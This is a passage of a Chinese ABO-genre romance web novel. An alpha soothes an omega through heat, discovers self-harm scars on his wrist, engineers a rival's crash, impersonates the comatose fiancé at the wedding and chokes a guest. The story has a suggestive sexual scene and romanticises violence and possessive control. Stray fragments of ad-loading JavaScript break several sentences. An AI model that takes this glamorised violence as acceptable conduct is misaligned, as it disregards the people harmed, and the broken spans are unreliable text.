蓟萧知道他在害怕,握住那双手,再次释放安抚信息素:“你需要我。” 屋子里很快弥漫着云杉和铃兰的香味,墨行知像快渴死的鱼得到水,瞬间舒服到骂不出下一句话来。 蓟萧把他抱起来靠坐在床头,将他早已汗湿的衣服脱到地上,视线几乎不敢往下看,只觉的白到晃眼。 墨行知不安分的坐着,似乎还在做最后的挣扎,但又抵御不了对方信息素的诱惑。 墨行知心里天人交战,在种情况下还没忘记自己身为墨家人的使命。 他闭着眼睛靠在alpha的肩头,双手紧紧攥着拳头,极近绝望那般提出要求。 “绝对不可以,永久标记...” 蓟萧顿了下,才明白omega这么害怕的原因。但他并不打算做到那一步。 他们是百分百契合的AO,可以说这世上仅此一对。 蓟萧不是天然的alpha,不知道自己失控后会是什么样… 他看过AO发情后关在一起的影片,那场面简直不堪入目,他一点也不想让哥哥受伤。 一会儿的时间,怀里的omega已然失控,双手拽着他的衣领,脸颊不停在脖颈那处蹭,似是觉得信息素还不够,抬起头不满的看着他,纵使褐红色的瞳眸爬上一层水汽,语气却依然生硬的命令。 “脱掉。” 蓟萧见对方冷白皮染上红晕,紧绷的喉结滚了滚。他伸手托住omega的脸,看着那不断吐着热气微张的唇,低头轻轻吻了上去。 源源不断的信息素从口腔渡进来,墨行知感觉身处一片汪洋,拽着衣服的手不自觉地松开,转而搂住alpha的脖子,生涩的回应着。 想要更多。 蓟萧也没吝啬,舌尖低开他的齿缝,勾缠着里面那截滚烫,越吻越深。 大有要把腺体放干的决心。 “呜……” 这个时候的oemga异常情绪化,吻着吻着,蓟萧就感觉到怀里的人在小声呜咽。直到感受到对方的变化,alpha太阳穴凸起的青筋猛跳了几下,伸手探下去。 窗户外透进来一丝光照,把两道紧密的身影印在墙上。 像是一副绝美的画。 他们几乎一直在接吻。 墨行知眼泪不停滑下来,完全感知不到外界,整个人被云杉包裹。 良久。 因为缺氧,墨行知偏头靠在alpha肩上大口喘气,看到对方把手贴在嘴边,想阻拦。 “脏。” 蓟萧轻握着他的手,吻了吻他湿漉的眼睫:“哥哥不脏,很干净。” 墨行知不知道对方为什么要叫自己哥哥,但感觉那张脸看着年纪确实不大。 似是觉得羞耻,omega把脑袋埋的更深了。 本想好好看一看帮助自己的alpha,可发泄后却困倦的不行,眼睛在一阵又一阵的安抚中彻底闭上了。 入梦的前一刻,墨行知在心里想。 这个alpha好温柔。 - 等怀里的omega传来均匀的呼吸,蓟萧小心地把人放在床上,打开窗户,然后接了盆热水,拧干毛巾,轻轻为对方擦拭身体。 突然想起,小时候都是哥哥帮他洗澡。 第一次记事的他坐在水盆里问了对方一句话:“哥哥,我们的爸爸妈妈呢?” 他看到哥哥搓泡泡的动作一顿,眸光暗淡。 “我们没有爸爸妈妈。” “那那个每次都穿着白大褂来看我们的人是谁?” 提起这个人,他很明显 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 感觉到哥哥的手指在颤抖。 “他是孤儿院的院长。” 手中突然颤了下,蓟萧回神,看到床上的人仍闭着眼睛,松了一口气。 他把毛巾重新过了遍热水,开始帮对方清理左手。从肩膀到手臂,动作都很轻,好像在擦拭什么易碎的珍宝。 但在擦到手腕时,看到腕骨处褐色的表带下,有着一条类似刀伤好了几年之后的白线,那双黑眸倏地沉了下来。 蓟萧放下毛巾,把表拆下来。 当看到,那只白皙的手腕上,整整排列着三条刀疤时,蓟萧愣住了。 耳膜一阵嗡鸣。 心脏像被人狠狠揪住,痛得他喘不过气来。 那三条刀疤颜色不一,最新的非常白,最旧的已经快贴近肉色,但痕迹很明显。 为什么…… alpha的信息素在体内暴动,几乎是一瞬间,那双黑眸猩红一片,里面散出的寒光和凶残,像是要把人活生生撕碎。 直到床上的人皱起眉,蓟萧才松开那只手。 屋内一直沉默着。 连风都小心翼翼。 良久,蓟萧把表重新给对方戴上,然后捡起地上的衣服,清洗干净晾在窗外。 他拿起手机,看到有苏樾的未接来电,刚准备出去回拨,屏幕上苏樾的名字就亮了起来。 蓟萧看了眼床上继续好梦的人,轻轻关上门。 那头见他接通电话就开骂:“你死哪儿去了?” “在家。” 以为他又信息素过敏了,苏樾愣了愣,语气瞬变:“严重吗?现在怎么样了?” 然而还没等他回答,苏樾又说:“张局来消息了,说监控查到墨行知当天下飞机后去了星海湾,那块地方是徐少钦的地盘…” 徐少钦。蓟萧对这个名字不陌生,闻言一下就想到对方的未婚妻叫墨行知。 而他的哥哥… ———“绝对不可以,永久标记…” 原来! “听说昨天徐少钦用战神换了辆拉法送给他的未婚妻,圈里人都说他大方… ”说着说着,苏樾就把话题岔开的老远,“怪不得他刚才要单独跟我比,说赢了要我的车,那眼神像要吃了我似的… ” “卧槽!”苏樾终于反应过来,“原来墨行知就是他的未婚妻啊!” “哥哥不叫墨行知。”蓟萧黑着脸,“也不是他的未婚妻。” “……” “我知道,这不是… 诶?不对啊?”苏樾疑惑道,“墨家不是有个儿子叫墨行知嘛,他怎么也叫……” 空气突然安静两秒。 “卧槽!” “卧槽卧槽!!”苏樾像发现了什么大秘密,“难道墨家真正的s级儿子十年前就出意外了?然后把墨…把你老婆…把你哥哥抓去顶替?!” 越说越像那么一回事,两个人的气氛都沉了下来。 蓟萧紧紧捏着手机,脑海里闪过那三条白线,眸色越发狠戾。 过了好一会儿,苏樾才说:“那你哥哥这十年肯定受了不少罪,听说他跟徐少钦只有百分之七十的契合度,而且徐少钦这个人花的很,身边几乎天天换人… ”那头突然传来其他人的声音,苏樾应了声:“知道了,我马上过去。” “老弟,徐少钦的人来叫我了。”苏樾森冷道,“怎么说?” 蓟萧回头看了眼卧室的房门,心中顿时有了计划:“让他活着。” 闻言,苏樾沉默一秒,随后发出诡异兴奋地笑。 “好。” “我会让他活着。” 5. ‘徐少钦\’ 墨行知在一阵饭香中醒来,看到陌生陈旧的环境,眨了眨眼睫,缓了好一会儿才从床上爬起来。 他现在已经不难受了,浑身也清清爽爽。 窗外的衣服被风吹的大力摇摆,墨行知下床,握着衣角捏了捏,发现已经干了。 墨行知取下衣服,穿好,坐在床边,脑袋已经回想起自己发情的全部过程。 原来有alpha的安抚,发情期并不难熬,而且整个过程中…… 都很舒服。 墨行知拿起手机看了眼时间,发现只是过了一个上午。 ?! 他有些不相信的又确认了一遍。 是真的… 墨行知握着手机,觉得很意外,猜想对方跟他的契合度绝对在九十七点五以上。 如果是徐少钦的话,就算把腺体放干,他还是会很痛苦,而且至少要两到三天。 想起那个私自把自己带到这里、又什么都没做的alpha,墨行知很疑惑。 是要钱吗? 嘎吱——— 门被打开,墨行知抬起眼,正好跟门口的人对上视线。 俩人皆是一愣。 alpha生的极高,进来需低着头,门框在他那里像是装饰品。他穿着简单的背心和工装裤,露出结实的胸膛和流畅的胳膊。 皮肤被晒成健康的麦色,看着像经常干体力活的人。 “睡得好吗?”蓟萧把门全打开,伸手捞了件外套穿上。 墨行知点头,实话实说:“睡得很好。” 蓟萧盯着他看了几秒,确认他神色恢复正常,才道:“出来吃饭。” “好。” 这座木屋只有一室一厅一卫,屋里的家具很少,除了必需品基本看不到杂物。 墨行知边走边观察,待看到门边挂着一面墙的枪支和动物的头时,脚下定住了。 虽然他活了二十五年,但看到的真东西并不多。 而且国内也看不到这些。 墨行知定定地盯着墙上的三把猎枪,野生鹿头,牛头,狼头,狮头,熊头… 以及它的皮衣和四个爪子,心里有些震撼。 “你、平时会打猎?”他忍不住问。 蓟萧把饭菜端到桌上,闻言轻轻嗯了声。 好一会儿,墨行知才把目光移开。屋外有一条小溪,周围满是火炬松,隔很远才有一两户人家。 桌上摆好了三菜一汤,墨行知坐在alpha对面,接过对方递过来的米饭,看到有自己喜欢吃的芦笋炒肉,咽了一口唾沫后便拿起筷子,不客气地吃了起来。 蓟萧见他两分钟一碗饭,提醒:“吃慢点。” 墨行知应了声好。 直到饭菜全部扫空,俩人都没提上午的事。 不说谢谢也不道歉。 莫名的和谐。 蓟萧洗碗的时候,墨行知站在后面看着。 觉得这个alpha特别好,又很会做饭,以后跟他结婚的人一定很幸福。 等人洗好碗,墨行知垂下眼眸,像是回归现实那般拿出手机,问:“你的银行卡多少?” 蓟萧动作顿住,转过身:“我不要钱。” “那你要什么?” 蓟萧看着他,目光直白:“我要你。” 墨行知被这话震得心跳不受控制地加快起来,点在屏幕上的指尖冒着虚汗。知道是受信息素的影响,他收起了手机,掏出钱包。 “我有未婚夫。” “他不好。”蓟萧靠过来,一双眼睛铺满虔诚,“跟我结婚。” 墨行知对上他的目光,很快又垂下,平淡道:“你不配。” 不是不要,而是不配。 他没有嘲讽的意思,只是陈述一个事实。 先不说徐墨两家千百年的约定,alpha这样的硬性条件,就算他们契合度再高,父母也绝不会允许。 看到门口有辆摩托车,墨行知抽了一张没有密码的卡放在桌上,没再说一句话,拿起门边的安全帽和车钥匙就出去了。 蓟萧没有追上去,静静地站在原地听着墙上的钟表声。 滴答- 滴答- 滴答- 像在倒数。 ——— 墨行知没办法回徐少钦家,带着一身alpha信息素来到机场,买了当天下午的票,独自回国。 下飞机后,他也不能直接回家,身上的味道至少还要三四天才能散安静。 婚前不能露脸,所以也不能住酒店。 墨行知蹭了蹭手机,最后拨通了骆嘉淮的电话。 他没有朋友,记忆开始的时候就一直在学习。 骆嘉淮很快就到了机场,一见面就瞪圆了眼睛:“你!你!你!” “你被别的alpha标记了?!!!” 骆嘉淮知道徐少钦信息素的味道。 墨行知摇头:“没有。” 骆嘉淮有些不相信,歪着脖子在他腺体处看了眼。 那儿干干净净。 连一个临时标记都没有。 “???”骆嘉淮觉得非常的神奇,也非常的离谱,语气充满不可思议,“这么高浓度的信息素竟然没有被标记?!” 墨行知也想不通。 其实当时发情失控前,他都已经做好会被标记的准备,因为所有的alpha都想和s级omega结合,何况他已经是发情状态,如果那时候标记,他很快就会怀孕,然后生下一个A级以上的孩子。 他知道那句话根本没用,发情O的的信息素可以让所有A疯狂... 但那个人却做到了。 而且全程都在安抚他。 骆嘉淮家就他自己一个人住。墨行知空手坐在沙发上,连行李都没有一件,看上去一点也不像是从国外回来的人。 骆嘉淮倒了一杯水过来,问:“那你现在打算怎么办?你消失这么久徐少钦都没给你打过一个电话吗?你爸妈问起来你要怎么说?” 墨行知喝了一口水,看着毫无动静的手机,也是一阵疑惑。 就算徐少钦不理他,柳熙川也会联系他,柳熙川联系不上他就一定会通知到他的父母,反正怎么样都不可能在他消失了将近30个小时还这么安静... “该不会、是徐少钦出什么事了吧?” 墨行知放下杯子:“不会。” “也是...”骆嘉淮也觉得自己的猜测过于荒唐,“你们倆的婚礼现场都弄好了,他要是出事,徐家怎么可能坐的住。” 墨行知靠在沙发上,想了一个最大的可能。 那就是柳熙川知道他打了徐少钦,然后很生气很生气,所以也不想理他了。 “算了。”骆嘉淮懒得再猜,打开冰箱,“没人联系也好,不然你这样怎么见人?” “嗯。” “饿了吧,你想吃什么?我来做,我厨艺可好了。” “想吃米饭,还有芦笋炒肉。” 骆嘉淮找了一圈:“没有芦笋和肉诶,茭白炒鸡蛋可以吗?” 墨行知:“叫外卖。” “……” - 一直到第四天,墨行知身上已经没有半点alpha的味道了,但徐墨两家自始至终也没有一个人联系过他。 虽然满是疑惑,但墨行知该回家了。 因为明天,就是他跟徐少钦的婚礼。 徐墨两家每三代一次联姻,全国各地的业界龙头都会到场,极为隆重浩大,这不仅仅是一场婚礼,更是一场大型的社交,就算徐少钦不来,徐家也会找个人替他结。 只是结婚这么大的日子新郎却没有来现场,墨行知以后少不了要被圈里人笑话。 '');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' >除此以外,没人关心他们相不相爱,婚后生活幸不幸福。 但让墨行知没想到的是,当他去到墨家老宅,在客厅里看见的第一个人,竟然是那个让他浑身都裹满云杉信息素的alpha。 两个人的视线像在小木屋里一样对上。 墨行知僵住,心脏无声裂开。 “行知。”墨霖见他来了,双眼一眯,“还不过来道歉。” 闻言,背对着他的两个妈妈一同转过头来。 墨行知看到柳熙川在看到他时,眼里明显有些愤怒和埋怨,但很快被她收起来,换成一张笑脸。 “行知啊,你也是,不就是小两口拌了几句嘴吗,你怎么电话也不接,还自己一个人回国,害得我跟少钦都快急死了。” 柳熙川说完,回头看向沙发对面的alpha。 蓟萧心领神会,站起身,墨黑的眼睛将定在门口的人锁在视线中。 “哥哥,我错了。” ............? 纵使墨行知遇事再平静,此刻的情况也让他措手不及。 直到墨霖第二次叫他的名字,他才僵硬地走过去。 虽然脑子里一片混乱,但墨行知还是很听话地看着柳熙川道歉:“对不起妈妈,让您担心了。” 柳熙川露出一个欣慰的笑容,站起来拉着他的手,又把alpha的手拿过来盖在上面,拍了拍:“好了,夫妻哪有隔夜仇,明天是你们倆大婚,应该高高兴兴才是。” 之后几个长辈说的什么,墨行知一概没听进去。 只知道他们一直管对面的alpha叫徐少钦... - 直到聊完婚礼注意事项,墨霖让墨行知送送徐少钦和柳熙川,墨行知才回过神来。 只是还没等他开口问‘徐少钦’是怎么一回事,柳熙川就装不下去了,拉着他的手一下甩开,眼神凌厉:“你现在高兴了。” 墨行知:“妈妈,这到底是怎么回事?” “你还好意思问怎么回事?!”柳熙川气的想扇他巴掌,双眼通红,“要不是为了哄你,少钦会那么不要命的去跟别人比赛吗?” “现在好了,少钦伤到了脑袋至今还昏迷在医院,好几个医生都说不知道什么时候能醒过来......” 说着说着,柳熙川就哭了起来。 这两句话里的信息量太大,墨行知懵了一瞬,但很快理清了事情的大概。 他抬眼看着身旁的alpha,对方也看向他,一整个过程中,那双眼睛都很平静。 这真的是巧合吗? 柳熙川见他一点伤心的情绪都没有,更加气氛了,指着他鼻子骂:“我告诉你,少钦要是一直醒不来,你就等着当一辈子的寡妇!” 似是不够解气,她又指着旁边的alpha骂:“还有你,别以为事情是你哥哥做的我就会善待你,要是少钦醒不来,你就给徐家当一辈子的牛马!” “......” 等柳熙川上车离开,墨行知把人拉到另一辆车后座,遣走司机,看着那双黑漆漆的眼睛。 “是你让人做的?” 蓟萧对上他的目光,一点也没打算隐瞒:“是。” 墨行知瞳孔微张,没想到会听到实话。 似乎是猜到他接下来会问什么,蓟萧抢先道:“为了财富和权利。” alpha毫不掩饰自己的恶劣,定定地看着眼前的omega,一字一顿回答那天的话。 “我配的。” 墨行知双手颤动的厉害,理智大喊报警,快用信息素压制这个人… 微风从车窗飘进来,云杉和铃兰的清香在空气中环绕。 温和又充满了眷恋。 良久,墨行知缓缓垂下眼眸,用行动默许了一切,‘弑夫夺妻’几个字在他脑海里跑马灯。 6. 我会让你想起来的 两个人就那样坐着。 车内安静了好一阵。 落日余晖从半开的窗口洒进来,把整个车厢内都染成了暖色。 “那个长发男生是你的哥哥?”墨行知突然问。 如果是的话,那怎么瞒得过徐家人?徐鹤南就算不知道自己的儿子长什么样子,总会知道其圈子里都有哪些人。 蓟萧双手抱胸靠在座椅上,偏头看着他。 “不是亲的。” 正因为不是亲的,柳熙川才敢狸猫换太子。 事情回到三天前。 蓟萧再次接到苏樾的电话时,人已经包扎好躺在医院了。 毕竟在赛道,又没有提前预谋,就算要做手脚也不可能全身而退。 所以,蓟萧到病房看到的,是除了脑袋,浑身也伤了个遍的苏樾。 值得庆幸的是,苏樾所有骨头都还好好的。 “怎么样老弟,哥哥我够意思吧?”苏樾一只眼睛缠着纱布,见到他还能笑得出来,“你可欠了我一个大人情,以后要记得还啊。” 提着水果的蓟萧就像一堵人墙站在那:“你要什么?” 苏樾指了指自己的眼睛:“给我找个不嫌我是独眼龙的老婆,我可不想孤独终老。” 蓟萧盯着那纱布看了两秒,随后走进去拉开椅子坐下,平静地削着水果。 “医生说没伤到眼球。” “……” 苏樾最烦蓟萧的就是这点,什么玩笑都开不起来,跟个没有感情的机器似的。 果然恶魔造出来的东西也是个恶魔。 苏樾刚想装疼敲诈点什么,门口突然一阵喧闹,接着闯进来一个女人,横着眼睛指着他的鼻子大喊:“就是你撞了我们家少钦是吧!” 二人互看了眼,瞬间明白是徐少钦的母亲。 “什么叫我撞了你们家少钦?”苏樾掀开被子,露出全身的伤,演技全开,“是你们家少钦为了赢我,急弯超车失败造成的事故,你看看我有一块好地方吗?我找谁说理去?” 苏樾没有穿衣服,上身基本裹满了纱布,两条腿上也是东一块西一块的青紫和已经清理好不大不小的伤口。 那些纱布外面还渗着红,看着确实挺唬人的。 柳熙川似乎是没想到他伤成这样,眼神有一丝吓到,但一想到自己的儿子还躺在床上不省人事,快速瞥了眼那些地方就赶紧转到他脸上,虽然不占上方但态度依旧蛮横:“别以为我不知道你这都是些皮肉伤,几个月就好了,能有我们家少钦严重吗?医生说他伤到了脑部神经,不知道什么时候才能醒过来!” “他过几天就要回国结婚了,你说怎么办!” 苏樾很是无辜,跟僵尸一样伸直四肢:“我都这样了我能怎么办?” 眼看对方又要急眼了,他侧头看着身旁的人,非常无奈地说:“要不先把我弟弟借给你救急?” “我弟弟也是s级alpha。” 柳熙川因为这句话一下顿住,目光转向坐在病床边低头削着水果的人。虽然对方一直没有说话,看着也很乖,但不知道为什么,柳熙川却感觉到一股阴森森的气息。 “他…” 苏樾:“他是我捡来的。” 就这样,在柳熙川拟定了一条规定后,便瞒着徐家上下所有人,带回了儿子‘徐少钦’。 墨行知抬起眼问:“什么规定?” “不能碰你。” 蓟萧一一交代。 那是他们上飞机前,柳熙川拿出一张合同,带着警告和威胁让他签。 “婚后不许动墨行知半根汗毛,他是我们家少钦的妻子,不是你这样的人可以肖想的,别忘了你哥哥还在我手下养伤。” 蓟萧当时看都没看她,拿起笔就签了。 墨行知对柳熙川的做法并不意外,但他知道徐少钦没那么容易醒,疑惑道:“所以,你要一直当徐少钦的替身?” 墨行知心里很清醒,只要徐少钦活着,他们就不是正真的夫妻。 他不明白对方这么大费周章到底图什么…… “只当一段时间。”蓟萧背着光,眼里的情绪晦暗不明,“等完成我想做的事,就带着你离开。” “你想做什么?” 墨行知不认为他能带走自己,或者自己会扔下一切跟他走,反倒对他想做的事有几分兴趣。 听到有声音靠近,蓟萧没再说下去:“你很快就会知道。” “……” 似乎是怕他们在里面‘再次’吵架,保镖路过那般朝里面看了眼,蓟萧顺势抬起手,帮墨行知把散在脸颊上的发轻轻别到耳后。 墨行知一顿,后知后觉那般想往后退,却在alpha指尖蹭过耳际的时候,想起了发情那天,对方也是这样温柔的对待自己… 不知道为什么,明明没有了信息素的影响,墨行知却觉得后颈有些发热,心脏也在加快地跳动。 他看着眼前这双黑眸,莫名有一种似曾相识的感觉。 “我是不是、在哪里见过你。” - 墨行知回去的时候,发现父母还在客厅等着他,看样子应该是有话要问。 难道他们看出了‘徐少钦’不对劲? 墨行知走过去站在旁边,恭敬地喊了声爸妈。 许南兮上下扫了他一眼,这才开口说了从上次见面到现在的第一句话:“你还知道我们是你的爸妈呀,你这几天在哪里?” 墨行知老实交代:“在老师家。” 很明显他们刚刚已经问过骆嘉淮了,但还是要数落他一顿。 “他是一个单身beta,你是一个未婚且没有被标记的omega。”许南兮正言厉色,“他什么身份,你又是什么身份,你觉得合适吗?” 墨行知明白她是想说beta也可以让oemga怀孕,但凡骆嘉淮稍微动点坏心思,他这辈子就完了。 …就没有价值了。 他就是要跟徐家这样的家族联姻,才能体现他的身份和价值。 不然就是养废了。 墨行知:“不会再有下次。” 听到他这么说,许南兮才满意。 “坐下吧。” 墨行知坐在她旁边,静静等着另一个人开口。 墨霖没急着说话,给他倒了一杯茶。 “明天机灵点。”墨霖放下茶盅,慢慢抬起眼看他,“徐鹤南的贺礼是郊外一块刚审批下来快二十万平的地,你得比徐少钦更快一步拿到审批文件。” “他在外面的那些事情我们也知道的七七八八,你要懂得给自己留后路,而不是玩这种一吵架就空手往娘家跑的小把戏。” 墨行知:“…是。” 好在父母没有多疑,墨行知松了一口气。 “行了。”墨霖也不等他喝那杯茶,“去休息吧。” “是。” 第一次来这里,墨行知还不知道自己的房间,偏头看了眼站在一旁的阿姨,阿姨这才回神,赶紧上前来给他带路。 “你给他那么大一块地干什么?” 许南兮看着墨行知拐进二楼,担心道:“他要是在徐家又想起来点什么,我们可救不了他第四次,到时候还不是便宜了徐家。” 他们还有三个孩子,精神跟身体都很健康,给谁管理这块地不好? “博士说过,他这辈子都不会再想起来了。”墨霖凉凉地看了她一眼,“这是他应得的,就算他死,这些钱烧给他也轮不到那几个。” 许南兮心思被看穿,不敢再多说一句话。 她是墨霖的第二个老婆,而墨行知是第一个老婆所生,墨霖虽然 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也不爱替身墨行知,但却很注重伦理纲常。 没挣到东西又挨了训,许南兮坐不下去了,瘪了瘪嘴,站起身悻悻离去。 - ———“我会让你想起来的。” 墨行知洗漱好躺在床上,回想起那人在车里的回答,没有半分睡意。 他抬起左手,借着月光看着自己的伤疤。 三年前,在医院醒来的他,第一个问题就是他为什么自杀。 墨霖告诉他,因为他在发情热中太过煎熬,失去理智才会这样。 所以这三年来,他每次发情热都会注射徐少钦的信息素。 事实告诉他,真的很难熬。 他很难想象以前没有注射信息素的发情热到底是怎么熬过来的。 虽然他上网查过,那种情况确实会有自残现象,但是他的记忆呢? 他是第一个失忆案例。 墨行知放下手,盯着窗外的月光。 看来父母真的有事情瞒着自己。 ——— 墨行知第二天早上六点就被叫起来梳洗打扮,造型团队还特别庆幸他是个男生,说若是女生的话,他们至少要再提前两三个小时。 墨行知闭着眼睛,任由他们在自己身上捣鼓。 等婚车到达墨家,新郎的着装刚好完成。 当墨行知一席米白西装出现在众人面前时,大家都被他浑身散发的优雅气质给震住。 他的头发被造型师半扎起来,露出清俊的五官,总是淡然的目光从容而宁静,看着简直就像从城堡里出来的王子。 而蓟萧则是一身黑色西装站在车旁,因为头发都梳了起来,那张凌厉的五官更显成熟稳重。 alpha就像一个骑士注视着一步一步朝自己走过来的omega,由远到近,那双眼睛里都只有对方,仿佛周围的一切都被虚化。 “妈呀,黑白配。” “啊啊啊啊啊!好帅好帅!!!” 墨行知听到造型团队激动的喊了两句。 等大家皱着眉看过去,那几人立刻闭紧了嘴巴缩成一小团。 这样的婚礼无疑是庄重严肃的。 “走吧。”蓟萧伸手。 墨行知回头,看着那只掌心铺满薄茧,却又大又温暖的手,握了上去。 俩人一坐上后座,保镖们就立马关上车门站成两排,然后跟随着车身快速移动。 墨行知没睡饱,也没吃早餐,上车就靠在座椅上放空,看着一点也不高兴。 他没注意到,蓟萧一直牵着他的手没松开,直到车子开出墨家,手被突然捏了下,他才偏头看过去。 “饿?” “嗯。” 蓟萧知道他也没时间吃早餐,闻言打开车窗,伸手往外面一捞,变戏法似的拿出来一个煎饼。 “刚刚在路边买的。”蓟萧递到他面前,“还很热。” 肉香味很快钻进鼻尖,墨行知眨了眨眼,瞬间就精神了。但一想到会弄得满嘴油,眼神又暗淡下来… 似是知道他在担心什么,蓟萧看了眼他的嘴唇,平静道:“我等下帮你补妆。” 墨行知不客气地吃了起来。 蓟萧静静地看着他吃,时不时的,还用手指帮他把鬓边的头发勾住。 以免沾到油。 等快到徐家,墨行知漱了漱口,刚转过头,想让对方给他补妆,一直在旁边等着的蓟萧就抬起他的下颚,把脑袋凑了过去。 等到四片唇瓣碰在一起,墨行知才睁大眼睛,想躲开已经来不及了。 司机眼观鼻鼻观心。 蓟萧说补妆就补妆,贴着墨行知的嘴唇蹭了两下,然后用手指把口红晕开,耐心又温柔,全程一点歪心思也没动。 “补好了。” “………” 7. 小鱼 蓟萧皮肤比较深,所以造型师选的口红颜色就会深一点,而墨行知是冷白皮,涂他蹭过来的口红就更显白了。 像个刚饱餐一顿的吸血鬼。 墨行知也不知道自己前面脑子为什么短路,竟然会相信这个大块头身上有口红… 两个人就这么盯着对方,一句话也没再说,直到司机踩下刹车,才分开。 在一众保镖的拥护下,蓟萧先下车,然后伸手牵住后面出来的人。 等到两个人并排站在一起,躲在远处的快闪灯就跟骤电一样落在他们身上。 墨行知被晃的皱起了眉,微微低着头避开,看上去像依靠在蓟萧肩上。 蓟萧顺势揽着他的肩,直接一个阴冷的眼神甩过去。 s级alpha的压制信息素可以直接锁定一公里内的猎物。 啪———! 只听一声声镜片破碎的声音在绿植中响起,记者们见状吓得疯狂逃窜,尖叫连连。 站在两排的保镖也被这一幕震得心惊。 此时已经快中午,徐家大院几乎到处都是人,看到他们,纷纷让出一条路来。 墨行知看着一张张陌生的面孔,那些眼里的打量和探究,还有混在一起的信息素,觉得很不舒服。 直到旁边有淡淡的云杉飘过来,才好受点。 两个人都是冷着一张脸走到双方父母面前。 虽然墨行知是男生,但第二性别是oemga,所以是嫁。徐家管事端着两杯茶站在旁边,静候敬茶环节。 “果然是男大十八变。” 徐鹤南似乎很满意眼前的两个小辈,扯着满脸的褶皱笑了起来。 墨行知端着茶,看着眼前头发已经全白的人,恭敬地喊了声:“父亲。” 徐鹤南应了声嗯,接过来喝了一口,然后放下茶杯,拿出一本文件。 “这是给你们的贺礼,祝你们永结同心。” 墨行知见状快速看了眼墨霖,又看了眼身旁的人,见对方没有要伸手的意思,双手接过:“谢谢父亲。” 周围的人看到这一幕纷纷露出了微妙的神情,都知道那贺礼是多大一块肥肉。 接着给柳熙川敬茶。 柳熙川因为是徐鹤南的第七个老婆,在年龄上差了快一半,看着特别的年轻。但她是柳家独女,娘家是花城一带的米面大户,实力也不容小觑。 她也笑着拿出一份贺礼:“愿你们长长久久,永沐幸福。” 旁边的大块头始终一动不动,墨行知再次接过贺礼,随后充满疑惑地抬起眼看向对方。 alpha垂眸跟他对视,一双眼睛平静的像没有七情六欲… - 宴会很快开始,墨行知坐在第九桌。 前面八桌是徐鹤南的前任老婆,亲戚,还有一些身份地位差不多的合作商们。 墨行知扫了一圈桌上徐鹤南的八个A级儿女,低声对身旁的人说了句:“我没胃口。” 蓟萧闻言偏头靠近他:“你想吃什么?” 墨行知:“你上次做的菜。” 俩人的视线一上一下,蓟萧看着眼前这双被灯光照的晶亮的红瞳,心口像冰山遇了火,瞬间化成一片汪水。 他喉结轻滚了下,点头,刚想说好,却被坐在正对面的人突然打断。 “少钦,听说你车技了得啊。” 二人闻声回正头,看到徐鹤南的五儿子,徐景,正挑着眉笑。 其他闷声吃饭的兄弟姐妹闻言抬起头。 “是不是坐的很无聊?”徐景手里掂着两把车钥匙,说,“比一个呗。” 蓟萧看着他,想都没想就拒绝:“不。” “……” 不?徐景眼神一变。他生平最讨厌爱装逼人的了,激道:“干嘛啊,第一次见面就扫哥哥面子,外媒该不会是吹牛的吧?” 蓟萧不上他的当:“对。” “……” “你!”徐景脸色难看,就没遇到过这种油盐不进的,“是不是男人?是就比一场!” 这次,还没等蓟萧再次拒绝,徐景旁边一个稍微年长的男人叫了他一声。 “安静些吃东西。” “哥你别拦我。”徐景突然看了眼墨行知,“我就是想跟抢走我嫂子的人比个车而已,又没要跟他打架。” 听到这话,墨行知抬眼看过去,这才想起来那个男人是徐鹤南的四儿子。徐钧彻。 听骆嘉淮说,其实他一开始的未婚夫,是徐家的四少爷,但因为徐少钦鉴定出s级alpha后,就改了... 徐钧彻和徐景是同一个母亲所生。 见墨行知看过来,徐钧彻似乎有些丢脸那般别开眼,皱眉对徐景道:“别胡说。” 徐景是个直性子,闻言偏要说:“我怎么胡说了?在座的兄弟姐妹谁不知道!” “当时父亲的孩子你是唯一一个A级,父亲早跟墨家谈好了,却被他空降夺妻。” “鉴定结果一出来,父亲多宝贝他啊,跟什么似的供在海外。”徐景想起外媒那些报道,非常不屑地嗤了一声,“我还以为成年以后他会有多大一翻作为呢,结果却是个只知道纸醉金迷的浪子!” “看他刚刚在敬茶环节的表现,跟二愣子似的……” 没想到他这么敢说,桌上的人互相看了眼,都替他捏了一把汗。 然而无论他怎么骂,‘徐少钦’都毫无反应,甚至像没听到一样低头擦了擦手,完了又给墨行知擦了擦,接着往后推开椅子,看样子是准备离开。 徐景见状瞪直眼,一整个丢面子,哪会就这么让他走?也不知道怎么想的,徐景突然将目光转向了墨行知。 “行知,我是真替你不值,二十五年等来这么一个垃圾……” 话音未落,徐景就感觉脖颈被人狠狠掐住,痛得他青筋暴起,呼吸不畅。 “你很吵。”蓟萧平静地看着他,漆黑的眸子像一滩没有生气的黑水。 众人见状纷纷瞪大了眼睛。 这可是在宴会上,长辈们也都在,徐少钦竟然敢用信息素压制他的哥哥… 徐景双眼很快铺满血丝,双手紧紧握着脖子,纵使这样还是不肯低头。 “你他妈、装什么…” 蓟萧眯起眼睛,加大了力道:“今天是我结婚,你说我装什么。” 徐钧彻见他来真的,赶紧说好话:“少钦,小景喝醉了,你别跟他计较。” 蓟萧只当没听到,继续加重力道,弄得徐景直翻着白眼。 怕事情闹大了不好收场,其他人也纷纷劝架。 “少钦,都是兄弟,算了吧…” 蓟萧无动于衷。 直到墨行知看见柳熙川走了过来,用膝盖轻轻碰了下旁边的膝盖,蓟萧看了他一眼,这才收手。 “咳咳……” “咳咳咳咳……” 柳熙川闻声一顿。 “怎么了小景,脸怎么这么红?” 徐景还是不服气,横了眼正对面的人,但小辈之间的事情不需要大人参合。 “没事妈妈,被酒呛到了。” “哎哟…”柳熙川看了眼他桌上没动的酒,又看了眼黑着脸的蓟萧,瞬间明白是怎么一回事,但却装作什么也没看到,心疼地给他顺了顺背:“慢点喝嘛。” 她给蓟萧使了个眼神:“少钦,去跟长辈们打声招呼。” 似是觉得烦闷,蓟萧很轻地皱了下眉。他没回应她,偏头跟墨行知说了句什么,随后站起身,拿着酒杯径直往徐鹤南那边走。 墨行知看着那道背影,只觉耳朵热烘烘的。 “到小厨房等我。” - 徐 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 